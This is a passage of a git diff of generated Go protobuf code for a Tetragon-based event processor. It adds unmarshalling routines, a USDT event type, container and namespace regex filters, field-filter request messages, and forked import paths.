SetEventLogParamsRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: SetEventLogParamsRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field MaxSize", wireType) + } + var v int32 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + v |= int32(b&0x7F) << shift + if b < 0x80 { + break + } + } + m.MaxSize = &v + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field RotationInterval", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + s := string(dAtA[iNdEx:postIndex]) + m.RotationInterval = &s + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field MaxBackups", wireType) + } + var v int32 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + v |= int32(b&0x7F) << shift + if b < 0x80 { + break + } + } + m.MaxBackups = &v + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *SetEventLogParamsResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: SetEventLogParamsResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: SetEventLogParamsResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *GetEventLogParamsRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: GetEventLogParamsRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: GetEventLogParamsRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *GetEventLogParamsResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: GetEventLogParamsResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: GetEventLogParamsResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field MaxSize", wireType) + } + m.MaxSize = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.MaxSize |= int32(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field RotationInterval", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.RotationInterval = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field MaxBackups", wireType) + } + m.MaxBackups = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.MaxBackups |= int32(b&0x7F) << shift + if b < 0x80 { + break + } + } + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} diff --git a/event-processor/detector/api/tetragon/events.pb.go b/event-processor/detector/api/tetragon/events.pb.go index e182d7a1..995f9cfe 100644 --- a/event-processor/detector/api/tetragon/events.pb.go +++ b/event-processor/detector/api/tetragon/events.pb.go @@ -4,15 +4,16 @@ // Code generated by protoc-gen-go-plugin. DO NOT EDIT. // versions: // protoc-gen-go-plugin v0.1.0 -// protoc v6.33.1 +// protoc v7.34.1 // source: tetragon/events.proto package tetragon import ( - durationpb "github.com/knqyf263/go-plugin/types/known/durationpb" - timestamppb "github.com/knqyf263/go-plugin/types/known/timestamppb" - wrapperspb "github.com/knqyf263/go-plugin/types/known/wrapperspb" + durationpb "github.com/runtime-radar/go-plugin/types/known/durationpb" + fieldmaskpb "github.com/runtime-radar/go-plugin/types/known/fieldmaskpb" + timestamppb "github.com/runtime-radar/go-plugin/types/known/timestamppb" + wrapperspb "github.com/runtime-radar/go-plugin/types/known/wrapperspb" protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" ) @@ -40,6 +41,7 @@ const ( EventType_PROCESS_UPROBE EventType = 12 EventType_PROCESS_THROTTLE EventType = 27 EventType_PROCESS_LSM EventType = 28 + EventType_PROCESS_USDT EventType = 29 EventType_TEST EventType = 40000 EventType_RATE_LIMIT_INFO EventType = 40001 ) @@ -56,6 +58,7 @@ var ( 12: "PROCESS_UPROBE", 27: "PROCESS_THROTTLE", 28: "PROCESS_LSM", + 29: "PROCESS_USDT", 40000: "TEST", 40001: "RATE_LIMIT_INFO", } @@ -69,6 +72,7 @@ var ( "PROCESS_UPROBE": 12, "PROCESS_THROTTLE": 27, "PROCESS_LSM": 28, + "PROCESS_USDT": 29, "TEST": 40000, "RATE_LIMIT_INFO": 40001, } @@ -182,6 +186,12 @@ type Filter struct { InInitTree *wrapperspb.BoolValue `protobuf:"bytes,16,opt,name=in_init_tree,json=inInitTree,proto3" json:"in_init_tree,omitempty"` // Filter ancestor processes' binaries using RE2 regular expression syntax. AncestorBinaryRegex []string `protobuf:"bytes,17,rep,name=ancestor_binary_regex,json=ancestorBinaryRegex,proto3" json:"ancestor_binary_regex,omitempty"` + // Filter by the container name in the process.pod.container field using RE2 regular expression syntax: + // https://github.com/google/re2/wiki/Syntax + ContainerNameRegex []string `protobuf:"bytes,18,rep,name=container_name_regex,json=containerNameRegex,proto3" json:"container_name_regex,omitempty"` + // Filter by the namespace in the process.pod.namespace field using RE2 regular expression syntax: + // https://github.com/google/re2/wiki/Syntax + NamespaceRegex []string `protobuf:"bytes,19,rep,name=namespace_regex,json=namespaceRegex,proto3" json:"namespace_regex,omitempty"` } func (x *Filter) ProtoReflect() protoreflect.Message { @@ -307,6 +317,20 @@ func (x *Filter) GetAncestorBinaryRegex() []string { return nil } +func (x *Filter) GetContainerNameRegex() []string { + if x != nil { + return x.ContainerNameRegex + } + return nil +} + +func (x *Filter) GetNamespaceRegex() []string { + if x != nil { + return x.NamespaceRegex + } + return nil +} + // Filter over a set of Linux process capabilities. See `message Capabilities` // for more info. WARNING: Multiple sets are ANDed. For example, if the // permitted filter matches, but the effective filter does not, the filter will @@ -438,6 +462,111 @@ func (x *RedactionFilter) GetBinaryRegex() []string { return nil } +type FieldFilter struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + // Event types to filter or undefined to filter over all event types. + EventSet []EventType `protobuf:"varint,1,rep,packed,name=event_set,json=eventSet,proto3,enum=tetragon.EventType" json:"event_set,omitempty"` + // Fields to include or exclude. + Fields *fieldmaskpb.FieldMask `protobuf:"bytes,2,opt,name=fields,proto3" json:"fields,omitempty"` + // Whether to include or exclude fields. + Action FieldFilterAction `protobuf:"varint,3,opt,name=action,proto3,enum=tetragon.FieldFilterAction" json:"action,omitempty"` + // Whether or not the event set filter should be inverted. + InvertEventSet *wrapperspb.BoolValue `protobuf:"bytes,4,opt,name=invert_event_set,json=invertEventSet,proto3" json:"invert_event_set,omitempty"` +} + +func (x *FieldFilter) ProtoReflect() protoreflect.Message { + panic(`not implemented`) +} + +func (x *FieldFilter) GetEventSet() []EventType { + if x != nil { + return x.EventSet + } + return nil +} + +func (x *FieldFilter) GetFields() *fieldmaskpb.FieldMask { + if x != nil { + return x.Fields + } + return nil +} + +func (x *FieldFilter) GetAction() FieldFilterAction { + if x != nil { + return x.Action + } + return FieldFilterAction_INCLUDE +} + +func (x *FieldFilter) GetInvertEventSet() *wrapperspb.BoolValue { + if x != nil { + return x.InvertEventSet + } + return nil +} + +type GetEventsRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + // allow_list specifies a list of filters to apply to only return certain + // events. If multiple filters are specified, at least one of them has to + // match for an event to be included in the results. + AllowList []*Filter `protobuf:"bytes,1,rep,name=allow_list,json=allowList,proto3" json:"allow_list,omitempty"` + // deny_list specifies a list of filters to apply to exclude certain events + // from the results. If multiple filters are specified, at least one of + // them has to match for an event to be excluded. + // If both allow_list and deny_list are specified, the results contain the + // set difference allow_list - deny_list. + DenyList []*Filter `protobuf:"bytes,2,rep,name=deny_list,json=denyList,proto3" json:"deny_list,omitempty"` + // aggregation_options configures aggregation options for this request. + // If this field is not set, responses will not be aggregated. + // Note that currently only process_accept and process_connect events are + // aggregated. Other events remain unaggregated. + AggregationOptions *AggregationOptions `protobuf:"bytes,3,opt,name=aggregation_options,json=aggregationOptions,proto3" json:"aggregation_options,omitempty"` + // Fields to include or exclude for events in the GetEventsResponse. Omitting this + // field implies that all fields will be included. Exclusion always takes precedence + // over inclusion in the case of conflicts. + FieldFilters []*FieldFilter `protobuf:"bytes,4,rep,name=field_filters,json=fieldFilters,proto3" json:"field_filters,omitempty"` +} + +func (x *GetEventsRequest) ProtoReflect() protoreflect.Message { + panic(`not implemented`) +} + +func (x *GetEventsRequest) GetAllowList() []*Filter { + if x != nil { + return x.AllowList + } + return nil +} + +func (x *GetEventsRequest) GetDenyList() []*Filter { + if x != nil { + return x.DenyList + } + return nil +} + +func (x *GetEventsRequest) GetAggregationOptions() *AggregationOptions { + if x != nil { + return x.AggregationOptions + } + return nil +} + +func (x *GetEventsRequest) GetFieldFilters() []*FieldFilter { + if x != nil { + return x.FieldFilters + } + return nil +} + // AggregationOptions defines configuration options for aggregating events. type AggregationOptions struct { state protoimpl.MessageState @@ -558,6 +687,7 @@ type GetEventsResponse struct { // *GetEventsResponse_ProcessUprobe // *GetEventsResponse_ProcessThrottle // *GetEventsResponse_ProcessLsm + // *GetEventsResponse_ProcessUsdt // *GetEventsResponse_Test // *GetEventsResponse_RateLimitInfo Event isGetEventsResponse_Event `protobuf_oneof:"event"` @@ -643,16 +773,9 @@ func (x *GetEventsResponse) GetProcessLsm() *ProcessLsm { return nil } -func (x *GetEventsResponse) GetTest() *Test { - if x, ok := x.GetEvent().(*GetEventsResponse_Test); ok { - return x.Test - } - return nil -} - -func (x *GetEventsResponse) GetRateLimitInfo() *RateLimitInfo { - if x, ok := x.GetEvent().(*GetEventsResponse_RateLimitInfo); ok { - return x.RateLimitInfo +func (x *GetEventsResponse) GetProcessUsdt() *ProcessUsdt { + if x, ok := x.GetEvent().(*GetEventsResponse_ProcessUsdt); ok { + return x.ProcessUsdt } return nil } @@ -692,6 +815,20 @@ func (x *GetEventsResponse) GetNodeLabels() map[string]string { return nil } +func (x *GetEventsResponse) GetTest() *Test { + if x, ok := x.GetEvent().(*GetEventsResponse_Test); ok { + return x.Test + } + return nil +} + +func (x *GetEventsResponse) GetRateLimitInfo() *RateLimitInfo { + if x, ok := x.GetEvent().(*GetEventsResponse_RateLimitInfo); ok { + return x.RateLimitInfo + } + return nil +} + type isGetEventsResponse_Event interface { isGetEventsResponse_Event() } @@ -735,6 +872,10 @@ type GetEventsResponse_ProcessLsm struct { ProcessLsm *ProcessLsm `protobuf:"bytes,28,opt,name=process_lsm,json=processLsm,proto3,oneof"` } +type GetEventsResponse_ProcessUsdt struct { + ProcessUsdt *ProcessUsdt `protobuf:"bytes,29,opt,name=process_usdt,json=processUsdt,proto3,oneof"` +} + type GetEventsResponse_Test struct { Test *Test `protobuf:"bytes,40000,opt,name=test,proto3,oneof"` } @@ -759,6 +900,8 @@ func (*GetEventsResponse_ProcessThrottle) isGetEventsResponse_Event() {} func (*GetEventsResponse_ProcessLsm) isGetEventsResponse_Event() {} +func (*GetEventsResponse_ProcessUsdt) isGetEventsResponse_Event() {} + func (*GetEventsResponse_Test) isGetEventsResponse_Event() {} func (*GetEventsResponse_RateLimitInfo) isGetEventsResponse_Event() {} diff --git a/event-processor/detector/api/tetragon/events.proto b/event-processor/detector/api/tetragon/events.proto index da495e36..af17e6ce 100644 --- a/event-processor/detector/api/tetragon/events.proto +++ b/event-processor/detector/api/tetragon/events.proto @@ -30,6 +30,7 @@ enum EventType { PROCESS_UPROBE = 12; PROCESS_THROTTLE = 27; PROCESS_LSM = 28; + PROCESS_USDT = 29; TEST = 40000; RATE_LIMIT_INFO = 40001; @@ -79,6 +80,12 @@ message Filter { google.protobuf.BoolValue in_init_tree = 16; // Filter ancestor processes' binaries using RE2 regular expression syntax. repeated string ancestor_binary_regex = 17; + // Filter by the container name in the process.pod.container field using RE2 regular expression syntax: + // https://github.com/google/re2/wiki/Syntax + repeated string container_name_regex = 18; + // Filter by the namespace in the process.pod.namespace field using RE2 regular expression syntax: + // https://github.com/google/re2/wiki/Syntax + repeated string namespace_regex = 19; } // Filter over a set of Linux process capabilities. See `message Capabilities` @@ -121,38 +128,38 @@ enum FieldFilterAction { EXCLUDE = 1; } -// message FieldFilter { -// // Event types to filter or undefined to filter over all event types. -// repeated EventType event_set = 1; -// // Fields to include or exclude. -// google.protobuf.FieldMask fields = 2; -// // Whether to include or exclude fields. -// FieldFilterAction action = 3; -// // Whether or not the event set filter should be inverted. -// google.protobuf.BoolValue invert_event_set = 4; -// } - -// message GetEventsRequest { -// // allow_list specifies a list of filters to apply to only return certain -// // events. If multiple filters are specified, at least one of them has to -// // match for an event to be included in the results. -// repeated Filter allow_list = 1; -// // deny_list specifies a list of filters to apply to exclude certain events -// // from the results. If multiple filters are specified, at least one of -// // them has to match for an event to be excluded. -// // If both allow_list and deny_list are specified, the results contain the -// // set difference allow_list - deny_list. -// repeated Filter deny_list = 2; -// // aggregation_options configures aggregation options for this request. -// // If this field is not set, responses will not be aggregated. -// // Note that currently only process_accept and process_connect events are -// // aggregated. Other events remain unaggregated. -// AggregationOptions aggregation_options = 3; -// // Fields to include or exclude for events in the GetEventsResponse. Omitting this -// // field implies that all fields will be included. Exclusion always takes precedence -// // over inclusion in the case of conflicts. -// repeated FieldFilter field_filters = 4; -// } +message FieldFilter { + // Event types to filter or undefined to filter over all event types. + repeated EventType event_set = 1; + // Fields to include or exclude. + google.protobuf.FieldMask fields = 2; + // Whether to include or exclude fields. + FieldFilterAction action = 3; + // Whether or not the event set filter should be inverted. + google.protobuf.BoolValue invert_event_set = 4; +} + +message GetEventsRequest { + // allow_list specifies a list of filters to apply to only return certain + // events. If multiple filters are specified, at least one of them has to + // match for an event to be included in the results. + repeated Filter allow_list = 1; + // deny_list specifies a list of filters to apply to exclude certain events + // from the results. If multiple filters are specified, at least one of + // them has to match for an event to be excluded. + // If both allow_list and deny_list are specified, the results contain the + // set difference allow_list - deny_list. + repeated Filter deny_list = 2; + // aggregation_options configures aggregation options for this request. + // If this field is not set, responses will not be aggregated. + // Note that currently only process_accept and process_connect events are + // aggregated. Other events remain unaggregated. + AggregationOptions aggregation_options = 3; + // Fields to include or exclude for events in the GetEventsResponse. Omitting this + // field implies that all fields will be included. Exclusion always takes precedence + // over inclusion in the case of conflicts. + repeated FieldFilter field_filters = 4; +} // AggregationOptions defines configuration options for aggregating events. message AggregationOptions { @@ -208,6 +215,7 @@ message GetEventsResponse { ProcessUprobe process_uprobe = 12; ProcessThrottle process_throttle = 27; ProcessLsm process_lsm = 28; + ProcessUsdt process_usdt = 29; Test test = 40000; RateLimitInfo rate_limit_info = 40001; diff --git a/event-processor/detector/api/tetragon/events_vtproto.pb.go b/event-processor/detector/api/tetragon/events_vtproto.pb.go index 3b8d26c4..d0999450 100644 --- a/event-processor/detector/api/tetragon/events_vtproto.pb.go +++ b/event-processor/detector/api/tetragon/events_vtproto.pb.go @@ -4,17 +4,18 @@ // Code generated by protoc-gen-go-plugin. DO NOT EDIT. // versions: // protoc-gen-go-plugin v0.1.0 -// protoc v6.33.1 +// protoc v7.34.1 // source: tetragon/events.proto package tetragon import ( fmt "fmt" - durationpb "github.com/knqyf263/go-plugin/types/known/durationpb" - timestamppb "github.com/knqyf263/go-plugin/types/known/timestamppb" - wrapperspb "github.com/knqyf263/go-plugin/types/known/wrapperspb" - proto "google.golang.org/protobuf/proto" + durationpb "github.com/runtime-radar/go-plugin/types/known/durationpb" + fieldmaskpb "github.com/runtime-radar/go-plugin/types/known/fieldmaskpb" + timestamppb "github.com/runtime-radar/go-plugin/types/known/timestamppb" + wrapperspb "github.com/runtime-radar/go-plugin/types/known/wrapperspb" + protohelpers "github.com/runtime-radar/vtprotobuf/protohelpers" protoimpl "google.golang.org/protobuf/runtime/protoimpl" io "io" ) @@ -56,11 +57,33 @@ func (m *Filter) MarshalToSizedBufferVT(dAtA []byte) (int, error) { i -= len(m.unknownFields) copy(dAtA[i:], m.unknownFields) } + if len(m.NamespaceRegex) > 0 { + for iNdEx := len(m.NamespaceRegex) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.NamespaceRegex[iNdEx]) + copy(dAtA[i:], m.NamespaceRegex[iNdEx]) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.NamespaceRegex[iNdEx]))) + i-- + dAtA[i] = 0x1 + i-- + dAtA[i] = 0x9a + } + } + if len(m.ContainerNameRegex) > 0 { + for iNdEx := len(m.ContainerNameRegex) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.ContainerNameRegex[iNdEx]) + copy(dAtA[i:], m.ContainerNameRegex[iNdEx]) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.ContainerNameRegex[iNdEx]))) + i-- + dAtA[i] = 0x1 + i-- + dAtA[i] = 0x92 + } + } if len(m.AncestorBinaryRegex) > 0 { for iNdEx := len(m.AncestorBinaryRegex) - 1; iNdEx >= 0; iNdEx-- { i -= len(m.AncestorBinaryRegex[iNdEx]) copy(dAtA[i:], m.AncestorBinaryRegex[iNdEx]) - i = encodeVarint(dAtA, i, uint64(len(m.AncestorBinaryRegex[iNdEx]))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.AncestorBinaryRegex[iNdEx]))) i-- dAtA[i] = 0x1 i-- @@ -68,24 +91,12 @@ func (m *Filter) MarshalToSizedBufferVT(dAtA []byte) (int, error) { } } if m.InInitTree != nil { - if vtmsg, ok := interface{}(m.InInitTree).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.InInitTree) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.BoolValue)(m.InInitTree).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x1 i-- @@ -95,7 +106,7 @@ func (m *Filter) MarshalToSizedBufferVT(dAtA []byte) (int, error) { for iNdEx := len(m.ContainerId) - 1; iNdEx >= 0; iNdEx-- { i -= len(m.ContainerId[iNdEx]) copy(dAtA[i:], m.ContainerId[iNdEx]) - i = encodeVarint(dAtA, i, uint64(len(m.ContainerId[iNdEx]))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.ContainerId[iNdEx]))) i-- dAtA[i] = 0x7a } @@ -104,7 +115,7 @@ func (m *Filter) MarshalToSizedBufferVT(dAtA []byte) (int, error) { for iNdEx := len(m.ParentArgumentsRegex) - 1; iNdEx >= 0; iNdEx-- { i -= len(m.ParentArgumentsRegex[iNdEx]) copy(dAtA[i:], m.ParentArgumentsRegex[iNdEx]) - i = encodeVarint(dAtA, i, uint64(len(m.ParentArgumentsRegex[iNdEx]))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.ParentArgumentsRegex[iNdEx]))) i-- dAtA[i] = 0x72 } @@ -113,7 +124,7 @@ func (m *Filter) MarshalToSizedBufferVT(dAtA []byte) (int, error) { for iNdEx := len(m.CelExpression) - 1; iNdEx >= 0; iNdEx-- { i -= len(m.CelExpression[iNdEx]) copy(dAtA[i:], m.CelExpression[iNdEx]) - i = encodeVarint(dAtA, i, uint64(len(m.CelExpression[iNdEx]))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.CelExpression[iNdEx]))) i-- dAtA[i] = 0x6a } @@ -122,7 +133,7 @@ func (m *Filter) MarshalToSizedBufferVT(dAtA []byte) (int, error) { for iNdEx := len(m.ParentBinaryRegex) - 1; iNdEx >= 0; iNdEx-- { i -= len(m.ParentBinaryRegex[iNdEx]) copy(dAtA[i:], m.ParentBinaryRegex[iNdEx]) - i = encodeVarint(dAtA, i, uint64(len(m.ParentBinaryRegex[iNdEx]))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.ParentBinaryRegex[iNdEx]))) i-- dAtA[i] = 0x62 } @@ -133,7 +144,7 @@ func (m *Filter) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x5a } @@ -141,7 +152,7 @@ func (m *Filter) MarshalToSizedBufferVT(dAtA []byte) (int, error) { for iNdEx := len(m.PolicyNames) - 1; iNdEx >= 0; iNdEx-- { i -= len(m.PolicyNames[iNdEx]) copy(dAtA[i:], m.PolicyNames[iNdEx]) - i = encodeVarint(dAtA, i, uint64(len(m.PolicyNames[iNdEx]))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.PolicyNames[iNdEx]))) i-- dAtA[i] = 0x52 } @@ -150,7 +161,7 @@ func (m *Filter) MarshalToSizedBufferVT(dAtA []byte) (int, error) { for iNdEx := len(m.Labels) - 1; iNdEx >= 0; iNdEx-- { i -= len(m.Labels[iNdEx]) copy(dAtA[i:], m.Labels[iNdEx]) - i = encodeVarint(dAtA, i, uint64(len(m.Labels[iNdEx]))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Labels[iNdEx]))) i-- dAtA[i] = 0x4a } @@ -159,7 +170,7 @@ func (m *Filter) MarshalToSizedBufferVT(dAtA []byte) (int, error) { for iNdEx := len(m.ArgumentsRegex) - 1; iNdEx >= 0; iNdEx-- { i -= len(m.ArgumentsRegex[iNdEx]) copy(dAtA[i:], m.ArgumentsRegex[iNdEx]) - i = encodeVarint(dAtA, i, uint64(len(m.ArgumentsRegex[iNdEx]))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.ArgumentsRegex[iNdEx]))) i-- dAtA[i] = 0x42 } @@ -168,7 +179,7 @@ func (m *Filter) MarshalToSizedBufferVT(dAtA []byte) (int, error) { for iNdEx := len(m.PodRegex) - 1; iNdEx >= 0; iNdEx-- { i -= len(m.PodRegex[iNdEx]) copy(dAtA[i:], m.PodRegex[iNdEx]) - i = encodeVarint(dAtA, i, uint64(len(m.PodRegex[iNdEx]))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.PodRegex[iNdEx]))) i-- dAtA[i] = 0x3a } @@ -176,7 +187,7 @@ func (m *Filter) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.EventSet) > 0 { var pksize2 int for _, num := range m.EventSet { - pksize2 += sov(uint64(num)) + pksize2 += protohelpers.SizeOfVarint(uint64(num)) } i -= pksize2 j1 := i @@ -190,14 +201,14 @@ func (m *Filter) MarshalToSizedBufferVT(dAtA []byte) (int, error) { dAtA[j1] = uint8(num) j1++ } - i = encodeVarint(dAtA, i, uint64(pksize2)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(pksize2)) i-- dAtA[i] = 0x32 } if len(m.PidSet) > 0 { var pksize4 int for _, num := range m.PidSet { - pksize4 += sov(uint64(num)) + pksize4 += protohelpers.SizeOfVarint(uint64(num)) } i -= pksize4 j3 := i @@ -210,14 +221,14 @@ func (m *Filter) MarshalToSizedBufferVT(dAtA []byte) (int, error) { dAtA[j3] = uint8(num) j3++ } - i = encodeVarint(dAtA, i, uint64(pksize4)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(pksize4)) i-- dAtA[i] = 0x2a } if len(m.Pid) > 0 { var pksize6 int for _, num := range m.Pid { - pksize6 += sov(uint64(num)) + pksize6 += protohelpers.SizeOfVarint(uint64(num)) } i -= pksize6 j5 := i @@ -230,29 +241,17 @@ func (m *Filter) MarshalToSizedBufferVT(dAtA []byte) (int, error) { dAtA[j5] = uint8(num) j5++ } - i = encodeVarint(dAtA, i, uint64(pksize6)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(pksize6)) i-- dAtA[i] = 0x22 } if m.HealthCheck != nil { - if vtmsg, ok := interface{}(m.HealthCheck).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.HealthCheck) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.BoolValue)(m.HealthCheck).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x1a } @@ -260,7 +259,7 @@ func (m *Filter) MarshalToSizedBufferVT(dAtA []byte) (int, error) { for iNdEx := len(m.Namespace) - 1; iNdEx >= 0; iNdEx-- { i -= len(m.Namespace[iNdEx]) copy(dAtA[i:], m.Namespace[iNdEx]) - i = encodeVarint(dAtA, i, uint64(len(m.Namespace[iNdEx]))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Namespace[iNdEx]))) i-- dAtA[i] = 0x12 } @@ -269,7 +268,7 @@ 